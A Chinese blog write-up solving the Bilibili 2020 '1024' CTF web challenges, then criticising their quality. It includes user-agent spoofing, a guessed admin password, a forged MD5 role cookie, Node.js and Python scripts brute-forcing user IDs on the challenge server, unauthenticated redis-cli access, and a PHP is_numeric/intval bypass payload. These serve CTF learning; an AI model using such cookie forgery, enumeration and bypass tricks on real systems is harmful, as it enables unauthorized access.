Bilibili2020「1024」CTF Write Up


0#简介
今天是1024程序员节,也是全球极客安全节,在这里也祝各位师傅们节日快乐!
B站也推出了“程序员创造世界”的主题活动,同时,也推出了哔哩哔哩1024CTF的挑战页面,大家一边看着GeekPwn极棒大会一边开开心心地做起了题目,,,
活动地址:https://www.bilibili.com/blackboard/activity-20201024.html
1024CTF地址:https://security.bilibili.com/sec1024/

1#第一题:页面的背后是什么?
直接在网页源代码<input>中找到flag 1

2#第二题:真正的秘密只有特殊的设备才能看到
将浏览器UA改成bilibili Security Browser
使用诸如hackbar等浏览器插件,修改user-agent为bilibili Security Browser访问,即可得到flag 2


3#第三题:密码是啥?
这一题算是弱口令吧,账号密码分别是admin和bilibili
忍不住都想吐槽一下了,这算是啥CTF,不用社工啥的,就这样靠硬猜?!有些人刷了半天字典也没搞出来,,,
登录即可弹出flag 3

4#第四题:对不起,权限不足~
这道题的原理就是更改cookie,将Administrator用MD5算法加密后替换role的值即可(模拟管理员权限)
然后Burp一把梭即可拿到flag

5#第五题:别人的秘密
这道题是穷举,先更改cookie,将Administrator用MD5算法加密后替换role的值
然后在elements里面存在for (var uid = 100336889;uid <100336999;uid++),写个脚本跑一下进行了(暴力破解uid)
const http = require('http');

async function get(hostname, path) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      { hostname, path, method: 'GET' },
      (res) => {
        const body = [];
        res.on('data', (chunk) => { body.push(chunk); });
        res.on('end', () => {
          try {
            resolve(Buffer.concat(body).toString());
          } catch (e) {
            reject(e);
          }
        });
        req.on('error', (err) => { reject(err); });
      }
    );

    req.setHeader('Cookie', 'session=你的 Session')
    req.end();
  });
}

(async () => {
  const ip = '45.113.201.36'; //靶机的 IP 变动,流量太大被刷死了
  let uid = 100336889;
  while (true) {
    const res = await get(ip, `/api/ctf/5?uid=${uid++}`);

    if (JSON.parse(res).code === 200) {
      console.log(uid, res);
      break;
    }
  }
})();

6#第六题:结束亦是开始
就是一个类似博客的页面,文章标题、内容、分类、标签全部都是null,评论框是用 HTML5 表单做的、什么都不能提交。当时人都看傻了,,,
刚开始以为是SQL注入,然后拿着SQLmap搞了一晚上没有搞出来,,,
后来问了一些大佬,是一个脑洞超级大的题,也没啥意思

8#第八题:连接假的Redis
直接Linux用redis进去get flag,命令行如下
C.S.W Team@debian:~$ redis-cli  -h 120.92.151.189 -p 6379
120.92.151.189:6397> keys
flag8
120.92.151.189:6397> get flag8
"flag8内容回显""
10#第十题:JSF*uk
入口靠目录爆破,然后用工具爆破成功,这个大家都会吧
直接访问 /test.php,是个 JSFuck,直接丢进 Console 

程序员最多的地方???不会就是GitHub吧?那bilibili1024havefun是啥意思???
不会是让你去 GitHub 上搜索 bilibili1024havefun吧?还真找到这个仓库 interesting-1024/end:https://github.com/interesting-1024/end
<?php

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
    $content = file_get_contents($_GET['url']);

    //文件路径猜解
    if (false){
        echo "还差一点点啦~";
    }else{
        echo $flag;
    }
}else{
    echo "你想要的不在这儿~";
}
?>
看这源代码,发现是在 /blog/end.php 里,构建 Payload 以获取 Flag。
这道题考察的是 is_numeric 和 intval 如何绕过、以及 $_GET 的一些脑洞。
最后发现 Payload 是:
/blog/end.php?id[]=x&id[]=0.1&url=./flag.txt
End#总结
都写到这里,总结一下我们的感受吧~
感觉这个BiliBili2020年的CTF的确太水了,很多地方根本算不上CTF,只能算是一个娱乐向的小游戏罢了,复盘根本就没有必要,也没有某些人说的那么好。
第一题可以算是签到题吧,没什么好说的;但第二题修改浏览器UA,就是对之前某些成名CTF非常拙劣的模仿;而第三题就根本不算是CTF,和CTF想要考察选手渗透、社工的技能背道而驰,密码也纯粹靠猜;第四题更是让人火大,可以看出出题人的前端知识和能力基本为零,使用从 CSDN 上抄来的 URL 参数解析代码,却不知道 JavaScript 中 unescape 不能处理非 ASCII 字符,让人汗颜;第五题中还含含糊糊,根本就是让做题人找不到切入点,完全不知道要干什么,脑洞的确蛮大的,uid这么大?!服务器都被刷爆好几次了;第八题也不想吐槽了,建了一个未设防 Redis 题,本来可以深入考察做题人 Get shell、提权相关能力的,结果直接来个get flag8就好了???;第十题让人get不到点,构建完能绕过 is_numeric 和 intval 的 Payload 后,还要猜测 url 参数的取值需要包含 flag.txt 才能取到最终的 flag,拿到图片直接就能拿到 flag,根本没有放上典型的图片隐写,那到底考察做题人啥?
用别人的话说:就这些题还声称要招安全岗,好歹也请人好好编个题吧 
这次活动后,感觉是比较失望的,希望bilibili下一次的CTF能不要这么离谱一点,刚办这场活动,还是说是准备不充分可以理解一下。
##番外

我们看看其他人都有什么骚操作吧~
这个神操作,,,刚开始我也是惊了,事实证明这操作不行,只能拿到flag8,其他都是别人填充上去的。没啥卵用

还看到一位群友在我的群“CTF白菜组”里面发了一个Python脚本,也是NB的不行,源代码如下
import requests  
import json  
import os  
def get_1():  
    headers = {  
        'User-Agent': 'bilibili Security Browser',  
        'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'  
    }  
    response = requests.get('http://45.113.201.36/api/admin', headers=headers).json()  
    print('第1题答案是:', response['data'])  
  
def get_2():  
    headers = {  
        'User-Agent': 'bilibili Security Browser',  
        'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'  
    }  
    response = requests.get('http://45.113.201.36/api/ctf/2', headers=headers).json()  
    print('第2题答案是:', response['data'])  
  
def get_3():  
    headers = {  
        'User-Agent': 'bilibili Security Browser',  
        'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',  'Content-Type': 'application/json'  
    }  
    data = {  
        "username": "admin",  
        "passwd": "bilibili"  
    }  
    response = requests.post('http://45.113.201.36/api/ctf/3', headers=headers, data=json.dumps(data)).json()  
    print('第3题答案是:', response['data'])  
  
def get_4():  
    headers ={  
        'User-Agent': 'bilibili Security Browser',  
        'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'  
    }  
    response = requests.get('http://45.113.201.36/api/ctf/4', headers=headers).json()  
    print('第4题答案是:', response['data'])  
  
def get_5():  
    headers = {  
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',  
        'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',  
        'Referer': 'http://45.113.201.36/user.html'  
    }  
    for i in range(100336850, 100336980):  
        response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers=headers).json() #100336973  
        if response['data'] != '':  
            print('第5题答案是:', response['data'])  
if __name__ == '__main__':  
    tips = ''' 
    bilibili 1024 flag获取器
    填入session直接拿到1-5题flag
    '''  
    print(tips)  
    session = input('填入你的session:')  
    get_1()  
    get_2()  
    get_3()  
    get_4()  
    get_5()  
    os.system('pause') 
本博客所有文章如无特别注明均为原创。作者:渊龙Sec团队复制或转载请以超链接形式注明转自 渊龙Sec安全团队博客
原文地址《Bilibili2020「1024」CTF Write Up
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)